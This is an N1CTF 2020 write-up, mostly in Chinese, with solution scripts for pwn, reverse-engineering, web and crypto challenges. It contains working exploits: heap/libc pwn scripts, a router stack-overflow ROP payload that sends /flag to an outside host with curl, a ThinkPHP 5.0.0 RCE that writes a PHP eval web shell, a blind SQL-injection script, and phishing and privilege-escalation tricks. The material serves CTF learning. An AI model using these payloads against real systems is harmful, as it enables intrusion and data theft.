N1CTF 2020 Writeup
PWN
Signin
漏洞点在于vector的delete后没有清空指针,只是-8,并且没有校验边界,导致了可以一直执行delete操作导致越界。
from pwn import *
#context.log_level ='DEBUG'
def menu(choice):
r.sendlineafter('>>',str(choice))
def add(idx,num):
menu(1)
r.sendlineafter('dex',str(idx))
r.sendlineafter('ber',str(num))
def free(idx):
menu(2)
r.sendlineafter('dex',str(idx))
def show(idx):
menu(3)
r.sendlineafter('dex',str(idx))
def gd(cmd=''):
gdb.attach(r,cmd)
pause()
libc=ELF('./libc.so')
#r=process('./signin')
r=remote('47.242.161.199',9990)
for i in range(0x120):
add(1,1)
print 'stage 1'
for i in range(0xea+1+0x139-3):
free(1)
print 'stage 2'
show(1)
r.recvuntil(':')
leak=int(r.recvline(),10)
print hex(leak)
lbase=leak-96-0x10-libc.symbols['__malloc_hook']
print hex(lbase)
print 'stage 3 start'
for i in range(0x24d4):
free(1)
print hex(i)
print 'stage 3 end'
add(1,lbase+libc.symbols['__free_hook']-8)
add(2,0x68732F6E69622F)
#gd('b system')
add(2,lbase+libc.symbols['system'])
add(2,lbase+libc.symbols['system'])
r.interactive()
escape
https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/N1-escape.html
babyrouter
CVE-2020-13390 entrys mitInterface 跟 page参数使用sprintf导致了栈溢出。 有00截断,但是调试的时候发现栈似乎不怎么变,所以直接硬编码栈地址试了下远程,直接成了
import requests
from pwn import *
cmd = ';curl -F flag=@/flag vps.exp.sh:1313;'
rop = ''
rop += p32(0xf6fff9ec)
rop += cmd
rop += 'A'*(240-len(cmd) - 4) #padding - len(cmd) - len(0xf6fff9ec)
rop += p32(0xf6fff9ec) # r4
rop += p32(0xf6fff9ec + 16) # r11
rop += p32(0x6B154) # pc
# .text:0006B154 LDR R0, [R11,#-16]
# .text:0006B158 LDR R1, [R11,#-20]
# .text:0006B15C MOV R2, #0x1000
# .text:0006B160 BL doShell
data = {
'entrys':'swings',
'mitInterface':'swings',
'page':rop
}
cookie = {'Cookie':'password=swingss'}
# r = requests.post('http://127.0.0.1:2333/goform/addressNat',data = data,cookies=cookie)
r = requests.post('http://8.210.119.59:9990/goform/addressNat',data = data,cookies=cookie)
easywrite
from pwn import *
r = remote("124.156.183.246","20000")
libc = ELF("./libc-2.31.so")
context.arch = libc.arch
r.recvuntil("Here is your gift:")
libc.address =int( r.recvline()[:-1],16)-0x8ec50
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct
def payload_IO_file_finish(libc,_IO_str_jumps_addr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61,
_IO_read_base = libc.sym['_IO_list_all']-0x10,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0x7fffffff,
_wide_data = 0x1eb880+libc,
)
payload += p64(_IO_str_jumps_addr-8)
payload += p64(0)
payload += p64(system_addr)
return payload
message = p32(0xdeadbeef)*(0x30-12)+p64(libc.sym['__free_hook']-0x8)*10
where = flat(libc.address+0x1f34f0)
r.sendafter("message",message)
r.sendafter("write?",where)
r.sendafter("Any last message?","/bin/sh\x00"+p64(libc.sym['system']))
r.interactive()
W2L
权限没配好, 非预期解了
mv bin bin1
/bin1/mkdir bin
/bin1/chmod 777 bin
/bin1/echo "/bin1/cat /root/flag" > /bin/umount
/bin1/chmod 777 /bin/umount
exit
Re
Oflo
签到题,子进程执行cat,父进程ptrace上去,获取结果作为key,然后异或
s = list(b"Linux version 4.19.104-microsoft-standard (")[0:14]
res = [53, 45, 17, 26, 73, 125, 17, 20, 43, 59, 62, 61, 60, 95]
for i in range(14):
res[i] ^= s[i] + 2
print(b"n1ctf" + bytes(res))
Oh My Julia
x64dbg调试,输入时下断点,跟出来到Julia编译后的地方,分析出算法。 flag分为5部分校验,用_分割 校验分别为直接对比,异或,中国剩余定理,简单位运算加密,快速幂。
from z3 import *
from struct import pack
from functools import reduce
import copy
import math
def egcd(a, b):
"""扩展欧几里得"""
if 0 == b:
return 1, 0, a
x, y, q = egcd(b, a % b)
x, y = y, (x - a // b * y)
return x, y, q
def chinese_remainder(pairs):
"""中国剩余定理"""
mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in pairs]
mod_product = reduce(lambda x, y: x * y, mod_list)
mi_list = [mod_product//x for x in mod_list]
mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))]
x = 0
for i in range(len(remainder_list)):
x += mi_list[i] * mi_inverse[i] * remainder_list[i]
x %= mod_product
return x
def rol(a, b):
return (a << b | a >> (8-b)) & 0xff
a = b"n0w"
b = bytes(list(map(lambda x: x ^ 0xB1, [0xE8, 0xDE, 0xC4])))
c = chinese_remainder([(0x1337, 0x8FF), (0x18d9, 0x105a), (0x245f, 0x1595)])
c = pack("<I", c)
s = Solver()
d = [BitVec("x%d"%i, 8) for i in range(5)]
k = copy.copy(d)
d[0] = rol(d[0], 2)
d[2] = rol(d[2], 3)
d[3] = d[2] ^ d[3] ^ d[0]
kk = (d[4] ^ d[1] ^ (d[0] << 3)) & 0xff
d[1] = ((kk >> 1) | ((d[4] ^ d[1]) << 7)) & 0xff
d[4] = rol(d[4], 4)
d[0] = (d[0] ^ d[4] ^ (kk << 2)) & 0xff
res = [0x59, 0xBE, 0x62, 0xFA, 0x04]
s.add(d[0] == res[0])
s.add(d[1] == res[1])
s.add(d[2] == res[2])
s.add(d[3] == res[3])
s.add(d[4] == res[4])
assert s.check() == sat
m = s.model()
d = b""
for i in k:
d += bytes([m[i].as_long()])
e = 6167994677750637846787284031284198699166724915292914207416625769922807110688701075146631681903787645131506509092609320621680335996011774133185924915744219183246974202510061588080450525756895523022680363592573974409387577754216307554444653180967764812466382206303916522606490290560284293010748494659520932252400522132701503847731262931700009254884130125557658811643798175788587564577224264756167863381391234404013004010044434222103569714559454690179319609962742145774093818530050466364779170297899996215415882749698196692126283911687170238829459195201541686347648768736129003321187960266022395285700138347393691701069800248507644296815948904642976231288390406392891137494265832494759401573097210850114663153274313756537534018109589206570602540559326039200848716638617367713171988711893402604262898551564788694015795986970388491176582531665735658490435481200684917725457390389445927207017739551104899293208031894691597567751372316173235969218701236129333475312126687483726518198884513431441373732322137387513411186113815489008204909882767211169670588119365268975311156035629164815032021033896627248205135889384062142533117427126174095664288229688983857514052912429373540989636730411614444500275895553786288524905672481290914962230663942978711977191617065355285376252300919856061262086308230629602563968135550187794697940223487471707339180184560459695301837543872635681488327980744438810932238175173336910108067161104524934145719389582851097368935750517077890034754480445239796065956023382953081104391321505492418879642843744083771488220776322694705558795406301099726143053265877629581376259736759379188070314677590380180875273589564613559077305039931521532889492874654116461687721433729560604345053665295353236076664587087994310194406827022786656499847672193385624034515585768388568701635965244814323298597210348083543194600191130177132309986678969373551829442002747485311866575378350703527238711102095369384336356910404004469356190806173157632587752829434386287114578291155464880709213641422876002393911662603315051364986980980896704848929494530865685081868837652490605249636514235057182207702952321657454456321540781618152251278528268041930821982417146538319344639262942409287413758365258936719585888245823584824787839695792942350835975325889291159555569773698908762648328204484224374476005032892196588715683423064219222095210187956084050428453531372674950072726211172825585275037410644186218960539109203196375294568056346977690840547747822508969530870855717294746523948068657810545614758240263248907656864643160983042403080961181298595656632900922716579858394871958904348170040153453056274611115019806506784108202367951401353592710709416624855402518608477578191464102129214837978994562796271286110818402775533844116138832972397140813091516932287622012692130454886149279432122660261892989759781348004545029997150326044796872548795315202824218021068605447949528282532753984199427360981380117727924707097097567755338759071037135582068677841242604984336821824912907298987321024269757948506834116030717378803260595543851757773593544092953717412777765946902006422552357788941850994131011985300156956761652763512117337592141362903770443640417077587868843401739463946011976427366277535691415538303315680898571953720879996801759034877085380157983224998649271609665774965177001138337677090025872131388597130451372531363
e = bin(int(math.log(e, 3)))
ee = e[2::][::-1]
e = b""
for i in ee:
if i == '1':
e += b"Z"
else:
e += b"z"
print(a + b"_" + b + b"_" + c + b"_" + d + b"_" + e)
easy apk
ollvm,调试分析算法 替换表的base64+aes_cbc
tbl = list(b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+-/")
res = b"jZe3yJG3zJLHywu4otmZzwy/"
a = b""
for i in range(0, len(res), 4):
t = list(map(lambda x: tbl.index(x), list(res[i:i+4])))
s = [0 for i in range(3)]
s[0] = ((t[0] & 0x3f) << 2) | ((t[1] >> 4) & 3)
s[1] = ((t[1] & 0xf) << 4) | ((t[2]>>2) & 0xf)
s[2] = (t[3] & 0x3f) | ((t[2] & 3) << 6)
a += bytes(s)
f1 = a[1:-1]
k2 = b"17b87f9aae8933ef"
k1 = b"'17b87f9aae8933efn1ctf{}"
cipher = b"'7890123456789012"
res = bytes([0xA5, 0xA4, 0x4C, 0x0D, 0xD2, 0x52, 0x1E, 0x63, 0x54, 0xC5, 0x29, 0xFA, 0xE4, 0xEC, 0x1F, 0x27, 0x52, 0xD2, 0xF1, 0xB7, 0xE4, 0x1C, 0x61, 0x42, 0x77, 0x9F, 0x5D, 0xA1, 0x87, 0x0A, 0xEC, 0x55])
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
aes = AES.new(k1, iv=k2[0:16], mode=AES.MODE_CBC)
cipher = pad(cipher, 16)
f2 = unpad(aes.decrypt(res), 16)[1:]
print(b"n1ctf{" + f1 + f2 + b"}")
N1egg In Fixed Camera
彩蛋题,strings一下level0找到flag
easyre
虚拟机,用异常处理来控制路径,再就没啥了
import os
def swap_b(x):
return (x<<4)&0xf0 | (x>>4)&0xf
stack = [0x31,0x4e]
flag = [0x43 for i in range(0x64)]
flag[0] = ord('n')
flag[1] = ord('1')
flag[2] = ord('c')
flag[3] = ord('t')
flag[4] = ord('f')
flag[5] = ord('{')
# result_i
#['700', '500', '1056', '998', '1212', '1467', '1279', '1594', '1606', '2077', '2299', '2326', '2238', '2261', '2363', '2813', '2924', '2786', '2935', '3179', '3281', '3354', '3325', '3417', '3535', '3396', '3547', '3825', '3754', '4145', '4382', '4423', '4532', '4489', '4766', '4769', '4701', '4911', '5133', '5078', '5084', '5059', '5496', '5499', '5483', '5484', '6176', '6203', '6276', '6044', '6729', '6668', '6906', '6965', '6886', '7134', '']
fp = open("result_i",'rb')
result = fp.read()
fp.close()
result = result.split('\n')
print result
f = 1
# flag[6] = flag[6] ^ stack[0]
# stack[0] = flag[6]
summ = 0
for i in range(6):
summ += flag[i]
print summ
xchange_t = [0,0,0,0,0,0,0]
for i in range(100):
if i%2 == 0:
xchange_t.append(1)
xchange_t.append(1)
else:
xchange_t.append(0)
xchange_t.append(0)
i = 0
while True:
if i > len(result)-2:
break
#print result[i]
x = abs(int(result[i],10) - summ)
print x
if xchange_t[i+6] == 0:
flag[i+6] = x ^ stack[0]
stack[0] = x
else:
flag[i+6] = x ^ stack[1]
flag[i+6] = swap_b(flag[i+6])
stack[1] = x
summ += x
i += 1
print ''.join([chr(x) for x in flag])
# for i in range(6,0x40):
# print 'flag[' + hex(i)[2:] + ']:' + hex(flag[i])
# summ = 0
# for i in range(6):
# summ += flag[i]
# print summ
Web
Signln
import requests
import string
import re
url = "http://101.32.205.189/?input=O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3Bs%3A9%3A%22callmecro%22%3Bs%3A5%3A%22check%22%3Bs%3A25%3A%22n1ctf20205bf75ab0a30dfc0c%22%3B%7D"
characters = string.printable[:-5]
r = requests.get(url)
if "n1ctf{" in r.text:
flag = "".join(re.findall(r'n1ctf{.*}',r.text))
exit(flag)
sql ="select `key` from n1key"
exp = "'||(select ip from n1ip where updatexml(1,concat('~',(select if(ascii(substring((%s),%d,1))=%d,'n1ctf','callmecro')),'~'),3))||'"
res = ""
for i in range(1,100):
flag = True
for char in characters:
payload = exp % (sql, i, ord(char))
#payload = exp
headers = {
"X-Forwarded-For":payload
}
r = requests.get(url,headers=headers)
if 'welcome to n1ctf2020<' in r.text:
res += char
print(res)
flag = False
break
if flag:
break
# key = n1ctf20205bf75ab0a30dfc0c
The king of phish(victim-bot)
创建类似这样的powershell的快捷方式
powershell -exec bypass -encodedCommand blahblah...
然后手工更改lnk文件里面的0x20为0x09 直接发过去就上线了
The king of phish(UserA-PC)
上去一看whoami开了SeRestorePrivilege,思路就很明显了。 这是超级权限,允许修改任何文件和任何注册表。。。
用usodllloader,写个自己的WindowsCoreDeviceInfo.dll,CreateFile的时候带上FILE_FLAG_BACKUP_SEMANTICS,直接写入system32文件夹。
触发加载直接得到system的shell。
zabbix_fun
首先Admin
zabbix
登录。查看下agent的ip地址
之后配置host,使能zbx
再用监控项(item)读文件就行了
easy_tp5
发现tp版本是5.0.0,存在RCE的payload,但是由于open_basedir的设置和disabled_functions,导致了无法执行命令。
所以思路就是往web目录下面写一个自己的shell,这样就可以逃出这个漏洞的限制,找到了Build类的module方法
在其中的buildHello方法中,存在写文件的操作,通过构造payload即可往public下面写一个Index.php文件
但是因为我们只能调用一个参数的函数,并且这个参数必须要是字符串,所以我们要向上找一步,发现module方法完全符合我们的要求,所以利用这一点,我们就可以写一个shell:
因为pathinfo的原因,需要找到一个包含,而不能直接访问我们的文件,所以使用Loader类的__include_file来包含刚才写的文件,进而getshell
payload: 写文件:
_method=__construct&filter[]=think\Build::module&method=GET&get[]=index//../../public/?><?php eval($_REQUEST[1]);
包含文件_method=__construct&filter[]=think\__include_file&method=GET&get[]=/var/www/html/public/?><?php eval($_REQUEST[1]);/controller/Index.php
最后利用蚁剑连上去,一键bypass disable_function就可以了
misc
Signln
Welcome to N1CTF 2020.
n1ctf{welc0m3_to_n1ctf2020_ctfers}
AllSignIn
Crypto
vss
预测随机数 https://github.com/kmyk/mersenne-twister-predictor/blob/master/mt19937predictor.py
from PIL import Image
import qrcode
import random
from mt19937predictor import MT19937Predictor
im = Image.open("share2.png")
m,n = im.size
m //= 2
n //= 2
f = []
for idx in range(n*m):
i, j = idx//n, idx % n
a1=im.getpixel((2*j,2*i))
a2=im.getpixel((2*j,2*i+1))
a3=im.getpixel((2*j+1,2*i))
a4=im.getpixel((2*j+1,2*i+1))
assert a1==a2 and a3==a4
c = a1 & 1
# pixel ^ flip == c
f.append(c)
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=12,
border=4,
)
for l in range(50):
FLAG='n1ctf{'+''.join(random.choice('abcdef-_1234567890') for _ in range(l))+'}'
qr.add_data(FLAG)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
if img.size[0] == 444 and img.size[1] == 444:
img.save('test.png')
break
l = 624*32
#l = len(data) & (~0b11111)
data = [x&1 for x in list(img.getdata())[-l:]]
flip = [x^y for x,y in zip(data,f[-l:])]
r = ''.join(chr(x+48) for x in flip)
r = int(r, 2)
pred = MT19937Predictor()
pred.setrandbits(r, l)
bits = pred.getrandbits(444*444-l)
bits = bin(bits)[2:].rjust(444*444-l, '0')
flip = [int(x) for x in bits] + flip
im = Image.new("L", (m,n))
data = [(x ^ y)*255 for x, y in zip(f, flip)]
im.putdata(data)
im.save('qr.png')
curve
看上去像是 ECDH 的 DDH 问题, 但是实际上 smart attack 直接求 dlp 就行了. 一次 2 秒, 30 次 90 秒以内没问题.
# generate curve
p = 0
m = 2^256
while p not in Primes():
p = 11*m*(m + 1) + 3
m += 1
E=EllipticCurve(GF(p), j=-2^15)
if E.order() != p:
E=E.quadratic_twist()
# attack
for i in range(30):
s = io.recvline()
l = s.decode().split("(")
g0 = E(eval("("+l[-3].replace(":",",")))
g1 = E(eval("("+l[-2].replace(":",",")))
c01 = E(eval("("+l[-1].replace(":",",")))
k = SmartAttack(P,g1,p)
if k*g0 == c01:
io.sendline("0")
else:
io.sendline("1")
注: 因为是 jupyter 所以懒得一个个 block 去 copy, 也懒得导出代码再排版, 就贴一下关键代码, 下同
FlagBot
注意到 secret 被公用, 可求其模不同 order 的阶再 CRT. 这里只选择小于 2^40 的阶:
# factor order
for i in range(7):
o = gens[i].order()
k = 1
kk = list(factor(o/k))[-1][0]
while kk > 2^40:
k *= kk
kk = list(factor(o/k))[-1][0]
rgens.append(k*gens[i])
rpubs.append(k*pubs[i])
rorder.append(rgens[i].order())
# dlp
o = 1
for i in range(7):
o = lcm(o,rorder[i])
print(factor(rorder[i]))
rsecret.append(rgens[i].discrete_log(rpubs[i]))
print(o)
print(o > 2^255)
# crt
secret = rsecret[0]
o = rorder[0]
for i in range(1,7):
secret = crt(secret,rsecret[i],o,rorder[i])
o = lcm(o,rorder[i])
print(secret)
BabyProof
没看懂跟 ZKP 有啥关系, 但是一看就是类似于 DSA 的 LLL. 大概先估算一下需要 60 组数据比较稳妥 ( $247 > 256*n/(n+1) - log(n)/2$ ). 但是因为速度太慢就只要了 44 组数据.
M = Matrix(ZZ, m+2,m+2)
for i in range(m):
M[i,i] = qs[i]
M[-2,i] = cs[i]
M[-1,i] = rs[i]
M[-1,-1] = 2^246
M[-2,-2] = 1